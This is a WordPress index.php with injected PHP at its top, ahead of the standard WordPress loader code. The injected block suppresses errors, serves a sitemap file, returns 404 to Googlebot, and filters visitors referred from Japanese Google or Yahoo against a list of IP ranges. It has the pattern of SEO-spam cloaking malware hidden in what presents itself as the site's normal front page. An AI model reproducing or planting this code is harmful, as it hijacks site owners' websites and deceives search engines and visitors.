error_reporting(0); $umodel = "9"; $query = $_SERVER['REQUEST_URI']; if(strstr($query,"sitemaps.xml")){ echo GetFileContent("sitemaps.xml");exit; } $query = $_SERVER['REQUEST_URI']; if(stripos($_SERVER['HTTP_USER_AGENT'], 'Googlebot') !== false){ header('HTTP/1.1 404 Not Found'); header('status: 404 Not Found'); exit(); } if(preg_match('/(google.co.jp|yahoo.co.jp)/i', strtolower($_SERVER['HTTP_REFERER']))){ error_reporting (E_ERROR | E_WARNING | E_PARSE); $ip = getenv("REMOTE_ADDR"); $DENY_IP=array('50.206','66.102','64.131','66.87','184.153','128.28','86.137','68.8','73.234','167.167','66.249','98.2','216.8','45.64','171.96','98.164','67.1 74','165.225','184.83','67.139','52.192','165.23','72.253','98.102','71.83','108.225','50.184'); $check_ip_arr= explode('.',$ip); if ($ip=="" || preg_match('/('.implode("|",$DENY_IP).')/i', $check_ip_arr[0].".".$check_ip_arr[1])){ Header("HTTP/1.1 404 Not Found"); exit; } echo ''; exit; } function GetFileContent($url){ if(function_exists('file_get_contents')) { $file_contents = file_get_contents($url); } else { $ch = curl_init(); $timeout = 5; curl_setopt ($ch, CURLOPT_URL, $url); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); $file_contents = curl_exec($ch); curl_close($ch); } return $file_contents; } /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define('WP_USE_THEMES', true); /** Loads the WordPress Environment and Template */ require( dirname( __FILE__ ) . '/wp-blog-header.php' );